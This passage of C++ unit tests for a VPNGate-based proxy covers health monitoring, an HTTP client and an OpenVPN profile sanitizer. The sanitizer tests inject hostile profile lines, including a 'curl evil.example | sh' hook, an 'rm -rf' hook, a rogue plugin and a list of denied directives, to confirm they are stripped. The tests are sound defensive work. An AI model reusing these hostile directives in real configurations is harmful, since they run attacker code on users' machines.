// missing term had been scoring zero, this would jump by ~0.2.
|
||||
CHECK_NEAR(with.score, without.score, 0.05);
|
||||
}
|
||||
|
||||
OVG_TEST(health_caps_the_score_when_the_probe_fails) {
|
||||
Fixture f;
|
||||
// Everything else looks perfect: no drops, no failed connects, bytes moving.
|
||||
f.eg->stats_.tx_packets = 1000;
|
||||
f.eg->stats_.rx_packets = 1000;
|
||||
f.eg->stats_.tcp_opened = 100;
|
||||
f.eg->connect_ec = make_error_code(Error::Timeout);
|
||||
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(1));
|
||||
|
||||
const auto s = f.mon->last();
|
||||
CHECK(!s.probe_ok);
|
||||
CHECK(!s.healthy);
|
||||
// The hard override, not the blend: healthy counters must not average a dead
|
||||
// tunnel back up to passing.
|
||||
CHECK(s.score <= f.cfg.min_score / 2.0);
|
||||
CHECK(s.verdict.find("probe failed") != std::string::npos);
|
||||
}
|
||||
|
||||
OVG_TEST(health_caps_the_score_on_a_high_connect_failure_rate) {
|
||||
Fixture f;
|
||||
f.eg->stats_.tcp_opened = 10;
|
||||
f.eg->stats_.tcp_failed = 90; // 90% failing, ceiling is 50%
|
||||
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(1));
|
||||
|
||||
const auto s = f.mon->last();
|
||||
CHECK(s.probe_ok); // the probe itself was fine
|
||||
CHECK(!s.healthy);
|
||||
CHECK(s.score <= f.cfg.min_score / 2.0);
|
||||
CHECK(s.verdict.find("connect failure rate") != std::string::npos);
|
||||
}
|
||||
|
||||
OVG_TEST(health_reports_a_stall_only_with_streams_in_flight) {
|
||||
Fixture f(2, [](HealthConfig &c) { c.stall_threshold = 1ms; });
|
||||
|
||||
// Bytes have moved once, so the signal exists, and now they stop.
|
||||
f.eg->stats_.tun_bytes_out = 1024;
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(2));
|
||||
|
||||
// Idle: no live streams, so a frozen counter is not a stall. A proxy with no
|
||||
// clients is the normal overnight state and must not switch nodes over it.
|
||||
CHECK(f.mon->last().stall_known);
|
||||
CHECK_EQ(f.mon->last().stalled_ms, int64_t(0));
|
||||
|
||||
// Same frozen counter, but now something is waiting on it.
|
||||
f.eg->stats_.tcp_active = 3;
|
||||
CHECK(f.more_rounds(3));
|
||||
const auto s = f.mon->last();
|
||||
CHECK(s.stall_known);
|
||||
CHECK_GT(s.stalled_ms, int64_t(0));
|
||||
CHECK(s.verdict.find("no byte progress") != std::string::npos);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Availability of the egress itself
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
OVG_TEST(health_records_a_sample_when_there_is_no_egress) {
|
||||
Fixture f;
|
||||
f.provide = false;
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(1));
|
||||
|
||||
const auto s = f.mon->last();
|
||||
CHECK(!s.egress_present);
|
||||
CHECK(!s.tunnel_up);
|
||||
CHECK(!s.healthy);
|
||||
CHECK_EQ(s.score, 0.0);
|
||||
CHECK_EQ(s.egress_label, std::string(""));
|
||||
}
|
||||
|
||||
OVG_TEST(health_does_not_probe_an_egress_that_is_not_ready) {
|
||||
Fixture f;
|
||||
f.eg->state_.store(egress::EgressState::Connecting);
|
||||
f.eg->detail_ = "handshaking";
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(2));
|
||||
|
||||
// Probing a tunnel that is known to be down measures the timeout and nothing
|
||||
// else; the verdict is already known.
|
||||
CHECK_EQ(f.eg->probes.load(), 0);
|
||||
const auto s = f.mon->last();
|
||||
CHECK(s.egress_present);
|
||||
CHECK(!s.tunnel_up);
|
||||
CHECK(!s.healthy);
|
||||
CHECK(s.verdict.find("handshaking") != std::string::npos);
|
||||
}
|
||||
|
||||
OVG_TEST(health_gives_up_on_a_probe_whose_handler_never_returns) {
|
||||
Fixture f(2, [](HealthConfig &c) { c.probe_timeout = 50ms; });
|
||||
f.eg->hang = true; // handler simply dropped, as a wedged backend would
|
||||
|
||||
f.mon->start();
|
||||
// The guard fires at probe_timeout + 2s. Without it the monitor wedges here
|
||||
// forever, having handed its only in-flight slot to a handler that is never
|
||||
// coming back -- and a monitor that has stopped sampling reports the last
|
||||
// thing it saw, which was healthy.
|
||||
CHECK(f.rounds(1, 5s));
|
||||
const auto s = f.mon->last();
|
||||
CHECK(!s.probe_ok);
|
||||
CHECK(s.verdict.find("abandoned") != std::string::npos);
|
||||
|
||||
// And it recovers: the slot is released, so the next round runs.
|
||||
f.eg->hang = false;
|
||||
CHECK(f.rounds(2, 5s));
|
||||
CHECK(f.mon->last().probe_ok);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Sustained-unhealthy reporting
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
OVG_TEST(health_reports_unhealthy_only_after_consecutive_windows) {
|
||||
Fixture f(3);
|
||||
f.eg->connect_ec = make_error_code(Error::Timeout);
|
||||
f.mon->start();
|
||||
|
||||
CHECK(f.rounds(2));
|
||||
// Two bad windows out of three required: one bad sample on a volunteer tunnel
|
||||
// in another country is weather, not a failure.
|
||||
CHECK(f.unhealthy.empty());
|
||||
|
||||
CHECK(f.rounds(3));
|
||||
CHECK(run_until(f.io, [&] { return !f.unhealthy.empty(); }, 2s));
|
||||
CHECK_EQ(f.unhealthy.size(), size_t(1));
|
||||
CHECK(f.unhealthy[0].find("fake-node") != std::string::npos);
|
||||
}
|
||||
|
||||
OVG_TEST(health_reports_once_per_degradation_not_once_per_round) {
|
||||
Fixture f(2);
|
||||
f.eg->connect_ec = make_error_code(Error::Timeout);
|
||||
f.mon->start();
|
||||
|
||||
CHECK(f.rounds(9));
|
||||
// Nine bad rounds at a 2-window threshold. The counter resets on each report,
|
||||
// so this is four or five reports -- not eight. If it did not reset, every
|
||||
// round past the second would queue another switch request.
|
||||
CHECK_GT(f.unhealthy.size(), size_t(1));
|
||||
CHECK(f.unhealthy.size() <= 5);
|
||||
}
|
||||
|
||||
OVG_TEST(health_recovery_clears_the_consecutive_counter) {
|
||||
Fixture f(3);
|
||||
f.eg->connect_ec = make_error_code(Error::Timeout);
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(2));
|
||||
CHECK_EQ(f.mon->consecutive_bad(), 2);
|
||||
|
||||
f.eg->connect_ec = {};
|
||||
CHECK(f.more_rounds(2));
|
||||
CHECK(run_until(f.io, [&] { return f.mon->consecutive_bad() == 0; }, 2s));
|
||||
CHECK(f.unhealthy.empty());
|
||||
}
|
||||
|
||||
OVG_TEST(health_keeps_a_bounded_history) {
|
||||
Fixture f;
|
||||
f.mon->start();
|
||||
CHECK(f.rounds(24, 5s));
|
||||
// kHistoryDepth is 20; ask for more and get what exists, never more.
|
||||
CHECK_EQ(f.mon->recent(50).size(), size_t(20));
|
||||
CHECK_EQ(f.mon->recent(5).size(), size_t(5));
|
||||
// recent() is oldest-first, so the last element is the newest sample.
|
||||
const auto r = f.mon->recent(5);
|
||||
CHECK(r.front().age_ms >= r.back().age_ms);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Switch controller
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
OVG_TEST(switch_controller_reports_why_the_manager_declined) {
|
||||
asio::io_context io;
|
||||
Config cfg;
|
||||
cfg.egress_mode = "direct";
|
||||
cfg.health.interval = 1h; // no rounds of its own during this test
|
||||
|
||||
egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr);
|
||||
health::HealthMonitor mon(io, cfg.health,
|
||||
[&]() -> egress::EgressPtr { return nullptr; });
|
||||
health::SwitchController sw(io, cfg, mon, mgr);
|
||||
|
||||
std::string detail;
|
||||
const bool ok = sw.force_switch("test", &detail);
|
||||
CHECK(!ok);
|
||||
// The specific reason, not a guess. A direct-mode build reporting "a switch
|
||||
// is already in progress" sends an operator looking for a switch that was
|
||||
// never attempted.
|
||||
CHECK(detail.find("direct") != std::string::npos);
|
||||
CHECK(detail.find("no tunnel") != std::string::npos);
|
||||
|
||||
const auto st = sw.stats();
|
||||
CHECK_EQ(st.manual, uint64_t(1));
|
||||
CHECK_EQ(st.requested, uint64_t(1));
|
||||
CHECK_EQ(st.declined, uint64_t(1));
|
||||
CHECK(st.last_trigger.find("manual") != std::string::npos);
|
||||
|
||||
bool done = false;
|
||||
mgr.shutdown([&] { done = true; });
|
||||
run_until(io, [&] { return done; }, 2s);
|
||||
}
|
||||
|
||||
OVG_TEST(switch_controller_forwards_a_sustained_unhealthy_verdict) {
|
||||
asio::io_context io;
|
||||
Config cfg;
|
||||
cfg.egress_mode = "direct"; // every request is declined, but still counted
|
||||
cfg.health.interval = 20ms;
|
||||
cfg.health.unhealthy_windows = 2;
|
||||
cfg.health.probe_timeout = 100ms;
|
||||
|
||||
auto eg = std::make_shared<ProbeEgress>(io);
|
||||
eg->connect_ec = make_error_code(Error::Timeout);
|
||||
|
||||
egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr);
|
||||
health::HealthMonitor mon(io, cfg.health,
|
||||
[&]() -> egress::EgressPtr { return eg; });
|
||||
health::SwitchController sw(io, cfg, mon, mgr);
|
||||
|
||||
sw.start(); // must subscribe before the monitor runs, or a verdict is lost
|
||||
mon.start();
|
||||
|
||||
CHECK(run_until(io, [&] { return sw.stats().unhealthy > 0; }, 3s));
|
||||
const auto st = sw.stats();
|
||||
CHECK_GT(st.requested, uint64_t(0));
|
||||
CHECK_EQ(st.tunnel_down + st.opportunistic, uint64_t(0));
|
||||
CHECK(st.last_trigger.find("unhealthy") != std::string::npos);
|
||||
|
||||
mon.stop();
|
||||
sw.stop();
|
||||
bool done = false;
|
||||
mgr.shutdown([&] { done = true; });
|
||||
run_until(io, [&] { return done; }, 2s);
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
// The HTTP client is exercised against a throwaway loopback server rather than
|
||||
// the real VPNGate endpoint: the tests must pass on a machine with no network,
|
||||
// and the interesting cases (chunked encoding, redirect loops, byte caps) are
|
||||
// hard to provoke against a live server anyway.
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
|
||||
#include "common/http_get.h"
|
||||
#include "harness.h"
|
||||
|
||||
using namespace ovg;
|
||||
|
||||
namespace {
|
||||
|
||||
// Serves one canned response per connection, then closes.
|
||||
class TinyServer {
|
||||
public:
|
||||
TinyServer(asio::io_context &io, std::string response)
|
||||
: acceptor_(io, asio::ip::tcp::endpoint(
|
||||
asio::ip::make_address("127.0.0.1"), 0)),
|
||||
response_(std::move(response)) {
|
||||
acceptor_.listen();
|
||||
accept();
|
||||
}
|
||||
|
||||
uint16_t port() const { return acceptor_.local_endpoint().port(); }
|
||||
std::string url(const std::string &path = "/") const {
|
||||
return "http://127.0.0.1:" + std::to_string(port()) + path;
|
||||
}
|
||||
int connections() const { return connections_; }
|
||||
void stop() {
|
||||
std::error_code ec;
|
||||
acceptor_.close(ec);
|
||||
}
|
||||
|
||||
// Second response, used for redirect targets.
|
||||
void set_next(std::string r) { next_ = std::move(r); }
|
||||
|
||||
private:
|
||||
void accept() {
|
||||
auto sock = std::make_shared<asio::ip::tcp::socket>(acceptor_.get_executor());
|
||||
acceptor_.async_accept(*sock, [this, sock](std::error_code ec) {
|
||||
if (ec) return;
|
||||
++connections_;
|
||||
auto body = std::make_shared<std::string>(
|
||||
(connections_ > 1 && !next_.empty()) ? next_ : response_);
|
||||
// Read (and discard) the request line before answering; some clients get
|
||||
// upset if the response arrives before they finish writing.
|
||||
auto buf = std::make_shared<asio::streambuf>();
|
||||
asio::async_read_until(
|
||||
*sock, *buf, "\r\n\r\n",
|
||||
[sock, body, buf](std::error_code, size_t) {
|
||||
asio::async_write(*sock, asio::buffer(*body),
|
||||
[sock, body](std::error_code, size_t) {
|
||||
std::error_code ig;
|
||||
sock->shutdown(
|
||||
asio::ip::tcp::socket::shutdown_both, ig);
|
||||
sock->close(ig);
|
||||
});
|
||||
});
|
||||
accept();
|
||||
});
|
||||
}
|
||||
|
||||
asio::ip::tcp::acceptor acceptor_;
|
||||
std::string response_;
|
||||
std::string next_;
|
||||
int connections_ = 0;
|
||||
};
|
||||
|
||||
} // namespace
|
||||
|
||||
OVG_TEST(ParseUrlForms) {
|
||||
http::Url u;
|
||||
CHECK(http::parse_url("http://www.vpngate.net/api/iphone/", &u));
|
||||
CHECK_EQ(u.scheme, std::string("http"));
|
||||
CHECK_EQ(u.host, std::string("www.vpngate.net"));
|
||||
CHECK_EQ(u.port, std::string("80"));
|
||||
CHECK_EQ(u.target, std::string("/api/iphone/"));
|
||||
|
||||
CHECK(http::parse_url("https://example.com", &u));
|
||||
CHECK_EQ(u.port, std::string("443"));
|
||||
CHECK_EQ(u.target, std::string("/"));
|
||||
|
||||
CHECK(http::parse_url("http://example.com:8080/x?y=1", &u));
|
||||
CHECK_EQ(u.port, std::string("8080"));
|
||||
CHECK_EQ(u.target, std::string("/x?y=1"));
|
||||
|
||||
CHECK(!http::parse_url("ftp://example.com/", &u));
|
||||
CHECK(!http::parse_url("example.com", &u));
|
||||
CHECK(!http::parse_url("", &u));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetContentLengthBody) {
|
||||
asio::io_context io;
|
||||
TinyServer srv(io,
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Content-Length: 11\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n"
|
||||
"hello world");
|
||||
|
||||
std::error_code got_ec;
|
||||
http::Response got;
|
||||
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
|
||||
got_ec = ec;
|
||||
got = std::move(r);
|
||||
srv.stop();
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK(!got_ec);
|
||||
CHECK_EQ(got.status, 200);
|
||||
CHECK_EQ(got.body, std::string("hello world"));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetChunkedBody) {
|
||||
asio::io_context io;
|
||||
TinyServer srv(io,
|
||||
"HTTP/1.1 200 OK\r\n"
|
||||
"Transfer-Encoding: chunked\r\n\r\n"
|
||||
"5\r\nhello\r\n"
|
||||
"1\r\n \r\n"
|
||||
"5\r\nworld\r\n"
|
||||
"0\r\n\r\n");
|
||||
|
||||
std::error_code got_ec;
|
||||
http::Response got;
|
||||
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
|
||||
got_ec = ec;
|
||||
got = std::move(r);
|
||||
srv.stop();
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK(!got_ec);
|
||||
CHECK_EQ(got.body, std::string("hello world"));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetEofTerminatedBody) {
|
||||
// HTTP/1.0-style: no Content-Length, no chunking, body ends at close. The
|
||||
// VPNGate endpoint has been observed doing exactly this.
|
||||
asio::io_context io;
|
||||
TinyServer srv(io, "HTTP/1.1 200 OK\r\n\r\nbody-until-eof");
|
||||
|
||||
std::error_code got_ec;
|
||||
http::Response got;
|
||||
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
|
||||
got_ec = ec;
|
||||
got = std::move(r);
|
||||
srv.stop();
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK(!got_ec);
|
||||
CHECK_EQ(got.body, std::string("body-until-eof"));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetFollowsRedirect) {
|
||||
asio::io_context io;
|
||||
TinyServer target(io, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok");
|
||||
TinyServer front(io, "HTTP/1.1 302 Found\r\nLocation: " + target.url() +
|
||||
"\r\nContent-Length: 0\r\n\r\n");
|
||||
|
||||
std::error_code got_ec;
|
||||
http::Response got;
|
||||
http::async_get(io, front.url(), {},
|
||||
[&](std::error_code ec, http::Response r) {
|
||||
got_ec = ec;
|
||||
got = std::move(r);
|
||||
front.stop();
|
||||
target.stop();
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK(!got_ec);
|
||||
CHECK_EQ(got.status, 200);
|
||||
CHECK_EQ(got.body, std::string("ok"));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetEnforcesByteCap) {
|
||||
asio::io_context io;
|
||||
std::string big(64 * 1024, 'x');
|
||||
TinyServer srv(io, "HTTP/1.1 200 OK\r\nContent-Length: " +
|
||||
std::to_string(big.size()) + "\r\n\r\n" + big);
|
||||
|
||||
http::Options opts;
|
||||
opts.max_bytes = 1024;
|
||||
|
||||
std::error_code got_ec;
|
||||
http::async_get(io, srv.url(), opts,
|
||||
[&](std::error_code ec, http::Response) {
|
||||
got_ec = ec;
|
||||
srv.stop();
|
||||
});
|
||||
io.run();
|
||||
|
||||
// Must fail rather than buffer 64 KB when told 1 KB is the limit.
|
||||
CHECK(static_cast<bool>(got_ec));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetReportsNonOkStatus) {
|
||||
asio::io_context io;
|
||||
TinyServer srv(io, "HTTP/1.1 503 Service Unavailable\r\n"
|
||||
"Content-Length: 3\r\n\r\nnah");
|
||||
|
||||
std::error_code got_ec;
|
||||
http::Response got;
|
||||
http::async_get(io, srv.url(), {}, [&](std::error_code ec, http::Response r) {
|
||||
got_ec = ec;
|
||||
got = std::move(r);
|
||||
srv.stop();
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK(static_cast<bool>(got_ec));
|
||||
CHECK_EQ(got.status, 503);
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetTimesOut) {
|
||||
asio::io_context io;
|
||||
// Accept but never answer.
|
||||
asio::ip::tcp::acceptor acc(
|
||||
io, asio::ip::tcp::endpoint(asio::ip::make_address("127.0.0.1"), 0));
|
||||
acc.listen();
|
||||
auto held = std::make_shared<asio::ip::tcp::socket>(io);
|
||||
acc.async_accept(*held, [held](std::error_code) {});
|
||||
|
||||
http::Options opts;
|
||||
opts.timeout = std::chrono::milliseconds(200);
|
||||
|
||||
std::error_code got_ec;
|
||||
http::async_get(io,
|
||||
"http://127.0.0.1:" + std::to_string(acc.local_endpoint().port()),
|
||||
opts, [&](std::error_code ec, http::Response) {
|
||||
got_ec = ec;
|
||||
std::error_code ig;
|
||||
acc.close(ig);
|
||||
held->close(ig);
|
||||
});
|
||||
io.run();
|
||||
|
||||
CHECK(static_cast<bool>(got_ec));
|
||||
}
|
||||
|
||||
OVG_TEST(HttpGetFailsOnRefusedConnection) {
|
||||
asio::io_context io;
|
||||
std::error_code got_ec;
|
||||
bool called = false;
|
||||
http::async_get(io, "http://127.0.0.1:1/", {},
|
||||
[&](std::error_code ec, http::Response) {
|
||||
called = true;
|
||||
got_ec = ec;
|
||||
});
|
||||
io.run();
|
||||
CHECK(called);
|
||||
CHECK(static_cast<bool>(got_ec));
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,529 @@
|
||||
// Profile sanitizer + packet pipe.
|
||||
//
|
||||
// These are the two pieces of the ovpn module that can be tested without a
|
||||
// server on the other end. TunnelClient itself needs a live node and is covered
|
||||
// by the end-to-end check; what is testable here is the part that decides what
|
||||
// we are willing to hand openvpn3, and the part that carries IP packets to it.
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <filesystem>
|
||||
#include <string>
|
||||
|
||||
#include "harness.h"
|
||||
#include "ovpn/packet_pipe.h"
|
||||
#include "ovpn/profile_sanitizer.h"
|
||||
#include "ovpn/tunnel_client.h"
|
||||
|
||||
using namespace ovg;
|
||||
using namespace ovg::ovpn;
|
||||
|
||||
namespace {
|
||||
|
||||
// Shaped like a real VPNGate row: SoftEther boilerplate comments, an
|
||||
// AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair.
|
||||
std::string sample_profile() {
|
||||
return
|
||||
"# OpenVPN Client Config for VPN Gate\n"
|
||||
"# Note: Windows users can use this file with OpenVPN Client\n"
|
||||
"\n"
|
||||
"dev tun\n"
|
||||
"proto tcp\n"
|
||||
"remote 219.100.37.1 443\n"
|
||||
"cipher AES-128-CBC\n"
|
||||
"auth SHA1\n"
|
||||
"resolv-retry infinite\n"
|
||||
"nobind\n"
|
||||
"persist-key\n"
|
||||
"persist-tun\n"
|
||||
"client\n"
|
||||
"verb 3\n"
|
||||
"<ca>\n"
|
||||
"-----BEGIN CERTIFICATE-----\n"
|
||||
"MIIDdTCCAl2gAwIBAgIJAKp\n"
|
||||
"-----END CERTIFICATE-----\n"
|
||||
"</ca>\n"
|
||||
"<cert>\n"
|
||||
"-----BEGIN CERTIFICATE-----\n"
|
||||
"MIIDaTCCAlGgAwIBAgIBATA\n"
|
||||
"-----END CERTIFICATE-----\n"
|
||||
"</cert>\n"
|
||||
"<key>\n"
|
||||
"-----BEGIN PRIVATE KEY-----\n"
|
||||
"MIIEvQIBADANBgkqhkiG9w0\n"
|
||||
"-----END PRIVATE KEY-----\n"
|
||||
"</key>\n";
|
||||
}
|
||||
|
||||
bool contains(const std::string &text, const std::string &needle) {
|
||||
return text.find(needle) != std::string::npos;
|
||||
}
|
||||
|
||||
bool has_line(const std::string &text, const std::string &line) {
|
||||
return contains("\n" + text, "\n" + line + "\n");
|
||||
}
|
||||
|
||||
// CHECK() only prints the expression, which is useless inside a loop over
|
||||
// names. These report the offending item on both sides of the comparison.
|
||||
void expect_absent(const std::string &text, const std::string &needle) {
|
||||
CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle,
|
||||
"absent: " + needle);
|
||||
}
|
||||
|
||||
void expect_denied(const char *name, bool want) {
|
||||
const std::string got =
|
||||
std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept");
|
||||
CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept"));
|
||||
}
|
||||
|
||||
size_t open_fd_count() {
|
||||
size_t n = 0;
|
||||
for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) {
|
||||
(void)e;
|
||||
++n;
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
OVG_TEST(SanitizerAcceptsARealProfile) {
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(sample_profile(), {}, &sp, &err));
|
||||
|
||||
CHECK(sp.has_ca);
|
||||
CHECK(sp.has_client_cert);
|
||||
CHECK(!sp.wants_userpass);
|
||||
CHECK_EQ(sp.remotes.size(), size_t(1));
|
||||
CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1"));
|
||||
CHECK_EQ(sp.remotes[0].port, 443);
|
||||
CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp);
|
||||
|
||||
// Our canonical header is present...
|
||||
CHECK(has_line(sp.text, "client"));
|
||||
CHECK(has_line(sp.text, "dev tun"));
|
||||
CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp"));
|
||||
// ...and the crypto directives we must not touch survived verbatim.
|
||||
CHECK(has_line(sp.text, "cipher AES-128-CBC"));
|
||||
CHECK(has_line(sp.text, "auth SHA1"));
|
||||
|
||||
// Inline material is preserved whole.
|
||||
CHECK(contains(sp.text, "<ca>\n-----BEGIN CERTIFICATE-----"));
|
||||
CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n</key>"));
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerStripsScriptHooks) {
|
||||
std::string raw = sample_profile();
|
||||
raw +=
|
||||
"up /bin/sh -c 'curl evil.example | sh'\n"
|
||||
"down /bin/rm -rf /tmp/x\n"
|
||||
"tls-verify /tmp/verify.sh\n"
|
||||
"plugin /tmp/evil.so\n"
|
||||
"script-security 2\n"
|
||||
"management 127.0.0.1 7505\n"
|
||||
"http-proxy 10.0.0.1 8080\n"
|
||||
"socks-proxy 10.0.0.1 1080\n"
|
||||
"daemon\n"
|
||||
"user root\n"
|
||||
"chroot /\n"
|
||||
"log /tmp/x.log\n";
|
||||
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
||||
|
||||
for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so",
|
||||
"script-security", "management", "http-proxy",
|
||||
"socks-proxy", "7505", "10.0.0.1", "x.log"}) {
|
||||
expect_absent(sp.text, bad);
|
||||
}
|
||||
for (const char *line : {"daemon", "user root", "chroot /"}) {
|
||||
CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line
|
||||
: std::string("absent: ") + line,
|
||||
std::string("absent: ") + line);
|
||||
}
|
||||
|
||||
// And every removal is reported, so an operator can see what a node tried.
|
||||
CHECK(sp.dropped.size() >= 10);
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerDeniesTheHazardousDirectives) {
|
||||
for (const char *name : {"up", "down", "tls-verify", "plugin",
|
||||
"script-security", "management", "http-proxy",
|
||||
"socks-proxy", "daemon", "user", "group", "chroot",
|
||||
"ifconfig", "push"}) {
|
||||
expect_denied(name, true);
|
||||
}
|
||||
// The other half of the contract: a denylist that swallowed these would
|
||||
// quietly break every node.
|
||||
for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls",
|
||||
"auth-user-pass", "float", "keepalive",
|
||||
"data-ciphers", "auth-nocache", "tun-mtu"}) {
|
||||
expect_denied(name, false);
|
||||
}
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerPinsTheChosenRemote) {
|
||||
std::string raw = sample_profile();
|
||||
// A second remote the selector never scored, plus randomization to make sure
|
||||
// the core would actually have used it.
|
||||
raw += "remote 1.2.3.4 1194 udp\nremote-random\n";
|
||||
|
||||
vpngate::Remote pin;
|
||||
pin.host = "219.100.37.1";
|
||||
pin.port = 1195;
|
||||
pin.proto = vpngate::Proto::Udp;
|
||||
|
||||
SanitizeOptions opt;
|
||||
opt.pin_remote = &pin;
|
||||
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, opt, &sp, &err));
|
||||
|
||||
CHECK_EQ(sp.remotes.size(), size_t(1));
|
||||
CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp"));
|
||||
CHECK(has_line(sp.text, "proto udp"));
|
||||
expect_absent(sp.text, "1.2.3.4");
|
||||
expect_absent(sp.text, "remote-random");
|
||||
// The original "remote ... 443" line must be gone too.
|
||||
expect_absent(sp.text, "443");
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerDropsConnectionBlocks) {
|
||||
std::string raw = sample_profile();
|
||||
raw +=
|
||||
"<connection>\n"
|
||||
"remote 9.9.9.9 1194 udp\n"
|
||||
"</connection>\n";
|
||||
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
||||
expect_absent(sp.text, "9.9.9.9");
|
||||
expect_absent(sp.text, "<connection>");
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerReportsAuthUserPass) {
|
||||
std::string raw = sample_profile();
|
||||
raw += "auth-user-pass /etc/openvpn/creds\n";
|
||||
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
||||
CHECK(sp.wants_userpass);
|
||||
// The path is stripped: credentials come from provide_creds(), and leaving
|
||||
// the argument would make openvpn3 try to open a file that is not there.
|
||||
CHECK(has_line(sp.text, "auth-user-pass"));
|
||||
expect_absent(sp.text, "/etc/openvpn/creds");
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) {
|
||||
std::string raw = sample_profile();
|
||||
raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n";
|
||||
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, {}, &sp, &err));
|
||||
expect_absent(sp.text, "ta.key");
|
||||
expect_absent(sp.text, "crl.pem");
|
||||
// The inline material in the same profile must survive untouched.
|
||||
CHECK(contains(sp.text, "<ca>"));
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerRemovesCompressionWhenDisabled) {
|
||||
std::string raw = sample_profile();
|
||||
raw += "comp-lzo no\ncompress lz4\n";
|
||||
|
||||
SanitizeOptions opt;
|
||||
opt.allow_compression = false;
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
CHECK(sanitize_profile(raw, opt, &sp, &err));
|
||||
expect_absent(sp.text, "comp-lzo");
|
||||
expect_absent(sp.text, "compress");
|
||||
|
||||
opt.allow_compression = true;
|
||||
CHECK(sanitize_profile(raw, opt, &sp, &err));
|
||||
CHECK(has_line(sp.text, "comp-lzo no"));
|
||||
}
|
||||
|
||||
OVG_TEST(SanitizerRejectsUnusableProfiles) {
|
||||
SanitizedProfile sp;
|
||||
std::string err;
|
||||
|
||||
CHECK(!sanitize_profile("", {}, &sp, &err));
|
||||
|
||||
// TAP: layer 2 frames, which nothing downstream understands.
|
||||
{
|
||||
std::string raw = sample_profile();
|
||||
raw.replace(raw.find("dev tun"), 7, "dev tap0");
|
||||
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
||||
CHECK(contains(err, "TAP"));
|
||||
}
|
||||
// No CA and no peer-fingerprint: nothing to authenticate the server with.
|
||||
{
|
||||
std::string raw = sample_profile();
|
||||
const size_t b = raw.find("<ca>");
|
||||
const size_t e = raw.find("</ca>") + 6;
|
||||
raw.erase(b, e - b);
|
||||
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
||||
CHECK(contains(err, "ca"));
|
||||
}
|
||||
// No remote at all.
|
||||
{
|
||||
std::string raw = sample_profile();
|
||||
const size_t b = raw.find("remote ");
|
||||
raw.erase(b, raw.find('\n', b) + 1 - b);
|
||||
CHECK(!sanitize_profile(raw, {}, &sp, &err));
|
||||
CHECK(contains(err, "remote"));
|
||||
}
|
||||
// Unterminated inline block: the rest of the file would silently vanish
